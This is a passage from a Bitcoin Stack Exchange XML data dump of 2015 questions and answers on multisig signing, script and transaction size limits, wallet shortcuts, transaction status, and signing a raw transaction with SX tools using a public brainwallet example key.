alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-02-03T05:17:19.797" LastActivityDate="2015-02-03T05:17:19.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35873" PostTypeId="2" ParentId="35852" CreationDate="2015-02-03T05:50:55.030" Score="1" Body="&lt;p&gt;Simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;peer.close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/v0.12.2/core/src/main/java/org/bitcoinj/core/Peer.java&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Peer.java&lt;/code&gt;&lt;/a&gt; extends &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/v0.12.2/core/src/main/java/org/bitcoinj/core/PeerSocketHandler.java&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;PeerSocketHandler.java&lt;/code&gt;&lt;/a&gt;, which is the class that defines the &lt;code&gt;close()&lt;/code&gt; method, so maybe that's why you weren't seeing it. It would also probably be easier to find if it were called &lt;code&gt;disconnect()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-02-03T05:56:11.733" LastActivityDate="2015-02-03T05:56:11.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35876" PostTypeId="2" ParentId="11977" CreationDate="2015-02-03T13:49:01.083" Score="2" Body="&lt;p&gt;You can use a combination of &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow noreferrer&quot;&gt;command-line arguments&lt;/a&gt; in a shortcut, namely, the &quot;-wallet=&quot; and &quot;-rescan&quot; arguments, to run Bitcoin-qt using different &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet#Bitcoin_Qt&quot; rel=&quot;nofollow noreferrer&quot;&gt;wallets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you want to work with 2 different wallets (one for your shared mining profits, and the other for personal mining profits)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start up bitcoin-qt and set it up so that it doesn't start up automatically when windows starts up (Settings &gt; Options &gt; Main)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N8sH5.jpg&quot; alt=&quot;Bitcoin-qt Options &amp;gt;Settings &amp;gt; Main&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit your Bitcoin Data directory, located by default at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&#xA;&#xA;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And rename your wallet file. In this example we will name it &quot;Personal Profits.dat&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start up Bitcoin-qt and let it generate a new wallet file (upon finding that there's no &quot;wallet.dat file, the client creates a new one). Encrypt it (&lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#General_Solutions&quot; rel=&quot;nofollow noreferrer&quot;&gt;use a strong password&lt;/a&gt;) and close the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the short-cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have a shortcut created to start up Bitcoin-qt you can make a copy (The original will keep on working with the newly generated wallet.dat, the new one will use a manually specified wallet file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise create 2 differnt shortcuts for the client, leave one as is, and edit the other one as noted here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right-click on the shortcut you want to use with your shared profits wallet and go to properties, and on the &quot;&lt;em&gt;Shortcut&lt;/em&gt;&quot; Tab, add this line a the end of the &quot;&lt;em&gt;Target&lt;/em&gt;&quot; Field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Bitcoin\bitcoin.exe -rescan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now right-click on the shortcut you want to use with your personal profits wallet and edit again, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Bitcoin\bitcoin.exe -walletfile=Personal_Profits.dat -rescan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Thoughts:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted on answer posted below, the &quot;-rescan&quot; argument is necessary to avoid issues with your balances (missing funds)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to transfer money from one wallet to the other, while running the client using wallet A, take note of an address on the wallet. Close the program, and run the other shortcut. Now use the send option on the client and fill in with that address. (Method can be used both ways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes both wallets are on the same computer and even the same directory (Bitcoin Data Dir as explained above)&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="22974" LastEditDate="2015-02-03T21:44:27.420" LastActivityDate="2015-02-03T21:44:27.420" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35877" PostTypeId="1" AcceptedAnswerId="35880" CreationDate="2015-02-03T20:55:59.043" Score="4" ViewCount="1986" Body="&lt;p&gt;Let's say we have a 2 of 2 multisig address that we want to spend from, so the transaction should be signed by both of the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's say we have a transaction with two inputs, so once again the transaction should be signed by both of the private keys of the inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does these two differ in implementation? Even on conceptual level? Are these procedures the same?&lt;/p&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="18196" LastEditDate="2015-02-03T22:11:18.177" LastActivityDate="2015-02-04T23:14:34.817" Title="Multisig vs Multi input transaction signing" Tags="|transactions|multi-signature|signature|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35878" PostTypeId="1" AcceptedAnswerId="35881" CreationDate="2015-02-03T21:10:01.350" Score="12" ViewCount="3830" Body="&lt;p&gt;Previous research:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25290/transactions-maximum-size&quot;&gt;Transaction&amp;#39;s maximum size&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1823/what-is-the-maximum-size-of-a-transaction&quot;&gt;What is the maximum size of a transaction?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/main.h#L57-L58&quot; rel=&quot;noreferrer&quot;&gt;The maximum size of a &lt;strong&gt;standard transaction&lt;/strong&gt; is 100k bytes&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there any consensus rules that prohibit scripts from being too large?&lt;/strong&gt; I know each individual element of a script has to be less than 520 bytes, as &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/script/script.h#L18&quot; rel=&quot;noreferrer&quot;&gt;shown here&lt;/a&gt;, but a script could still have many many individual elements and create an extremely large block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a malicious miner wants to make the blockchain as big as possible and creates a coinbase transaction with a particular output that has the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode followed by enough data to make their block just less than the 1 MB limit. &lt;em&gt;Will the malicious miner's block, in which 99% of the block data is encoded into a dummy &lt;code&gt;OP_RETURN&lt;/code&gt; output, be accepted or rejected?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2021-04-24T20:22:16.617" Title="Is there a maximum size of a scriptSig/scriptPubKey?" Tags="|script|consensus|op-return|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35880" PostTypeId="2" ParentId="35877" CreationDate="2015-02-03T21:50:09.707" Score="5" Body="&lt;p&gt;They are fairly different things and represent very different use cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you are the head of the party planning committee and you have two workers (A and B) to help you buy items for the party. You are given 1 bitcoin to fund the party. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can split the funds up between A and B. For example, you could give A and B each 0.5 bitcoins in two separate outputs. If they need to buy something worth more than 0.5 bitcoins, they will need to combine their outputs as inputs to the same transaction. However, for items less than 0.5 bitcoins, A and B will be able to act independently to purchase items (or steal the funds!).&lt;/li&gt;&#xA;&lt;li&gt;You can jointly give A and B the 1 bitcoin in a 2 of 2 multisig address. Now for any purchase they will need to agree in order to spend from the party committee's funds.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To summarize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spending a 2/2 multisig output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spends a single previously UTXO and requiring two keys to sign. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spending multiple inputs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spends multiple previously UTXOs and requires each input to be signed separately. &lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;With regards to signing these types of transactions, they have to be done slightly differently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When signing an input that spends a 2/2 multisig output, the transaction is signed by the two keys and they are encoded into the same &lt;code&gt;scriptSig&lt;/code&gt; of the one input. The transaction only becomes valid when both keys have signed with valid signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose the scriptPubKey of the previous 2/2 multisig output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_2 {pubkey1} {pubkey2} OP_2 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The the scriptSig to spend that output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pubkey1's signature} {pubkey2's signature}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how they are in the same input's scriptSig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When signing two different inputs, assuming their previous scriptPubKeys look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pubkey1} OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pubkey2} OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the two inputs would have scripSigs in this format (respectively):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pubkey1 signature}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pubkey2 signature}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: I've used simple scriptPubKey's to be try to be clear about how it generally works, but you should probably use Pay-to-script-hash multisig address and pay-to-pubkey-hash addresses instead of the raw multisig and pay-to-pubkey scriptPubKeys that I used in this example.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-02-03T22:30:27.133" LastActivityDate="2015-02-03T22:30:27.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35881" PostTypeId="2" ParentId="35878" CreationDate="2015-02-03T21:51:18.093" Score="12" Body="&lt;p&gt;10,000 bytes.  See Bitcoin Core source code: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.17.0/src/script/script.h#L31-L32&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.17.0/src/script/script.h#L31-L32&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.17.0/src/script/interpreter.cpp#L299-L300&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.17.0/src/script/interpreter.cpp#L299-L300&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the &lt;code&gt;EvalScript&lt;/code&gt; function only runs when someone tries to spend a script, so it doesn't apply to unspendable outputs like OP_RETURN.  In that case, the consensus rules allow you to include as much data as you want in the output up to the maximum block weight limit.  Bitcoin Core has long placed much more restrictive limits on what transactions it'll relay and mine when they contain OP_RETURN outputs, so we rarely see transactions exceeding those limits.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2021-04-24T20:22:16.617" LastActivityDate="2021-04-24T20:22:16.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35882" PostTypeId="2" ParentId="1823" CreationDate="2015-02-03T22:02:04.243" Score="25" Body="&lt;p&gt;The maximum transaction size is the size of the block. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3c098a8aa0780009c11b66b1a5d488a928629ebf/src/consensus/tx_verify.cpp#L166&quot; rel=&quot;noreferrer&quot;&gt;Source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Size limits (this doesn't take the witness into account, as that hasn't been checked for malleability)&#xA;if (::GetSerializeSize(tx, SER_NETWORK, PROTOCOL_VERSION | SERIALIZE_TRANSACTION_NO_WITNESS) * WITNESS_SCALE_FACTOR &amp;gt; MAX_BLOCK_WEIGHT)&#xA;    return state.DoS(100, false, REJECT_INVALID, &quot;bad-txns-oversize&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transactions larger than 100 kilobytes (including witness at a 75% discount rate) are non-standard. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3c098a8aa0780009c11b66b1a5d488a928629ebf/src/policy/policy.h#L24&quot; rel=&quot;noreferrer&quot;&gt;Source 1&lt;/a&gt;. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3c098a8aa0780009c11b66b1a5d488a928629ebf/src/net_processing.cpp#L661-L665&quot; rel=&quot;noreferrer&quot;&gt;Source 2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const unsigned int MAX_STANDARD_TX_WEIGHT = 400000;&#xA;...&#xA;if (sz &amp;gt;= MAX_STANDARD_TX_WEIGHT)&#xA;{&#xA;    LogPrint(BCLog::MEMPOOL, &quot;ignoring large orphan tx (size: %u, hash: %s)\n&quot;, sz, hash.ToString());&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-11-26T00:00:40.867" LastActivityDate="2017-11-26T00:00:40.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35883" PostTypeId="2" ParentId="35878" CreationDate="2015-02-03T22:16:25.510" Score="2" Body="&lt;p&gt;There are no checks specifically on OP_RETURN. There is a standardness rule, which is that they must embed up to 40 bytes of data. Of course, if you're mining your own blocks, you can ignore standardness rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a rule against scripts more than 10 kilobytes long, but since there's no limit on the number of outputs you can create, that's not a meaningful restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this isn't a very good way to attack the network. It costs roughly $1000 of electricity to make a block. (You recoup some of that from the Bitcoins you get, of course.) It would take &lt;a href=&quot;http://www.wolframalpha.com/input/?i=%241000%2F%281+MB+*+10000+%2F%28GB*month%2F%240.08%29%29+in+years&quot; rel=&quot;nofollow&quot;&gt;104 years&lt;/a&gt; for 10000 nodes storing your block to cost more than mining it costed you in the first place.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-03T23:22:43.130" LastActivityDate="2015-02-03T23:22:43.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35884" PostTypeId="2" ParentId="35877" CreationDate="2015-02-03T22:36:26.273" Score="2" Body="&lt;p&gt;Transaction from a &lt;code&gt;Multisig Bitcoin address&lt;/code&gt; (starting with 3) requires signature from N of M &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;M represents number of parties allowed to unlock UTXO (input of transaction). In case of 2-2, both signature from both parties have to be involved to create valid transaction&lt;/li&gt;&#xA;&lt;li&gt;N is number of owners (known as &lt;code&gt;threshold&lt;/code&gt;) whose digital signature is required to sign a valid transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;Multi input transaction&lt;/code&gt; is a type of transaction where input involves UTXO from 1 or more either standard or multisig bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following states may occur&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Standard Bitcoin address signs transaction with 1 input&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires one digital signature with valid private key&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Standard Bitcoin address signs transaction with more than 1 input (multi-input transaction)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires digital signature for each UTXO with valid private key&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multisig Bitcoin address signs transaction with 1 input&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires one digital signature from threshold&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multisig Bitcoin address signs transaction with more than 1 input (multi-input transaction)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires digital signature for each UTXO by threshold&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Up to this point, &lt;code&gt;ALL UTXO&lt;/code&gt; belong to signer of transaction. Now transactions will contain UTXO for more than 1 Bitcoin address.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Two Standard Bitcoin addreses sign a transaction with 1 UTXO for each of them (multi-input transaction)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires digital signature for each UTXO by corresponding valid private key&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ex. Transaction involves 2 UTXO for 2 separate Standard Bitcoin addresses, to create valid transaction, address A have to sign UTXO(A) and address B sign UTXO(B). Transaction can now have 1 output making the cost of fees much lower than in scenario, where for each Bitcoin address is created separate transaction. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Two Multisig Bitcoin addreses sign a transaction with 1 UTXO for each of them (multi-input transaction)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;requires digital signature for each UTXO by corresponding valid private key of threshold&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ex. Transaction involves 2 UTXO for 2 separate Multisig Bitcoin addresses, to create valid transaction, threshold of address A have to sign UTXO(A) and threshold of address B sign UTXO(B).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Option 5 and 6 combined.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ex. Transaction is composed from UTXO for 1 or more Standard Bitcoin address and 1 or more Multisig Bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-02-04T23:14:34.817" LastActivityDate="2015-02-04T23:14:34.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35885" PostTypeId="1" CreationDate="2015-02-03T23:55:23.987" Score="1" ViewCount="65" Body="&lt;p&gt;Are there any successful stories about coins created specifically for a country? (pre mined and drop)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen cases like Auroracoin, but I want to know if there has been a success story.&lt;/p&gt;&#xA;" OwnerUserId="23215" LastEditorUserId="2306" LastEditDate="2015-02-04T10:18:10.370" LastActivityDate="2015-02-04T10:18:10.370" Title="Successful national digital currencies" Tags="|altcoin|airdrop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35886" PostTypeId="1" AcceptedAnswerId="35888" CreationDate="2015-02-04T01:49:09.997" Score="1" ViewCount="3169" Body="&lt;p&gt;What is the meaning of a transaction status of &quot;Offline (0 confirmations)&quot; as opposed to &quot;Unconfirmed (0 confirmations)&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it mean that the transaction has not even been sent to the network yet?&#xA;If so, why would that happen, and can I force it to retry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet is online (13 active connections to the network), but out-of-sync (catching up &lt;em&gt;very slowly&lt;/em&gt;, last received block was 1100 days ago).&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2015-02-04T01:57:04.727" LastActivityDate="2017-10-22T02:21:05.983" Title="Bitcoin-Qt wallet shows outgoing transaction as &quot;Offline (0 confirmations)&quot;" Tags="|bitcoin-core|confirmations|offline|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35887" PostTypeId="2" ParentId="35885" CreationDate="2015-02-04T03:11:35.807" Score="3" Body="&lt;p&gt;Most altcoins have done very poorly. You can see the list of relatively successful ones &lt;a href=&quot;https://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. There isn't a country coin that's got a market cap over a million. I would say there hasn't been a success story.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-04T03:11:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35888" PostTypeId="2" ParentId="35886" CreationDate="2015-02-04T03:15:50.677" Score="3" Body="&lt;p&gt;Offline means that the transaction hasn't been sent to the network, that is, it's not in the memory pool of any other node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed means that the transaction has been sent to the network and exists in the memory pools of many other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the wallet is out-of-sync, that would be the reason it's got 0 confirmations. Even if you did have a confirmation, your node wouldn't know it since the transaction would be in one of the newest blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction is not on blockchain.info, there's a very good chance that it hasn't been sent. You should probably resend it using &lt;a href=&quot;https://blog.blockchain.com/2014/07/08/tutorial-how-to-rebroadcast-a-bitcoin-transaction/&quot; rel=&quot;nofollow&quot;&gt;the instructions found here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-04T03:15:50.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35889" PostTypeId="2" ParentId="35713" CreationDate="2015-02-04T05:44:48.150" Score="2" Body="&lt;p&gt;Using SX tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At bash command line, create a WIF private key file called &lt;code&gt;private.key&lt;/code&gt; for 1MBngSqZbMydscpzSoehjP8kznMaHAzh9y with this data inside:  &lt;code&gt;5HvofFG7K1e2aeWESm5pbCzRHtCSiZNbfLYXBvxyA57DhKHV4U3&lt;/code&gt;. FYI, the private key (as discussed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32628/redeeming-a-raw-transaction-step-by-step-example-required/32695#32695&quot;&gt;here&lt;/a&gt;) is a brainwallet of &lt;em&gt;mrbubbymrbubbymrbubby!&lt;/em&gt; (which is cool, because 1MB ≈ brainwallet phrase)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, now we run these aliases/commands in the exact order given (node comments explaining each step):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;DECODED_ADDR=$(cat private.key | sx addr | sx decode-addr) # hash160&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PREVOUT_SCRIPT=$(sx rawscript dup hash160 [ $DECODED_ADDR ] equalverify checksig)  # hash160 + script padding&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGNATURE=$(cat private.key | sx sign-input txfile.tx 0 $PREVOUT_SCRIPT)   # 72 digit der signature&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGNATURE_AND_PUBKEY_SCRIPT=$(sx rawscript [ $SIGNATURE ] [ $(cat private.key | sx pubkey) ])  # 278 digit script/sig/pubkey&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sx set-input txfile.tx 0 $SIGNATURE_AND_PUBKEY_SCRIPT &amp;gt; txfile.tx.signed    # 192 digit signed txn&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In this instance, the aliases give the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;DECODED_ADDR=dd6cce9f255a8cc17bda8ba0373df8e861cb866e&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PREVOUT_SCRIPT=76a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGNATURE=3045022100da43201760bda697222002f56266bf65023fef2094519e13077f777baed553b102205ce35d05eabda58cd50a67977a65706347cc25ef43153e309ff210a134722e9e01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGNATURE_AND_PUBKEY_SCRIPT=483045022100da43201760bda697222002f56266bf65023fef2094519e13077f777baed553b102205ce35d05eabda58cd50a67977a65706347cc25ef43153e309ff210a134722e9e0141042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FINAL SIGNED TXN:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the final raw Txn which sends BTC to 14zWNsgUMmHhYx4suzc2tZD6HieGbkQi5s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0100000001be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396000000008b483045022100da43201760bda697222002f56266bf65023fef2094519e13077f777baed553b102205ce35d05eabda58cd50a67977a65706347cc25ef43153e309ff210a134722e9e0141042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9ffffffff0123ce0100000000001976a9142bc89c2702e0e618db7d59eb5ce2f0f147b4075488ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Contents:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;private.key = &lt;code&gt;5HvofFG7K1e2aeWESm5pbCzRHtCSiZNbfLYXBvxyA57DhKHV4U3&lt;/code&gt;&#xA;txfile.tx = &lt;code&gt;0100000001be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d53960000000000ffffffff0123ce0100000000001976a9142bc89c2702e0e618db7d59eb5ce2f0f147b4075488ac00000000&lt;/code&gt;&#xA;rawscript.sigpubkey.tx = &lt;code&gt;473044022054f60e8ae19411541597167362d12fc132e081a546c766bfd69c16d9d58e268a022048055c7fd8bf78e48543e8756bb3b26336df35b812a184119ba0e9d525bbb8aa0141042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&lt;/code&gt;&#xA;signed.tx = &lt;code&gt;0100000001be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396000000000b00000c0000000000000000ffffffff0123ce0100000000001976a9142bc89c2702e0e618db7d59eb5ce2f0f147b4075488ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-02-04T10:06:08.620" LastActivityDate="2015-02-04T10:06:08.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
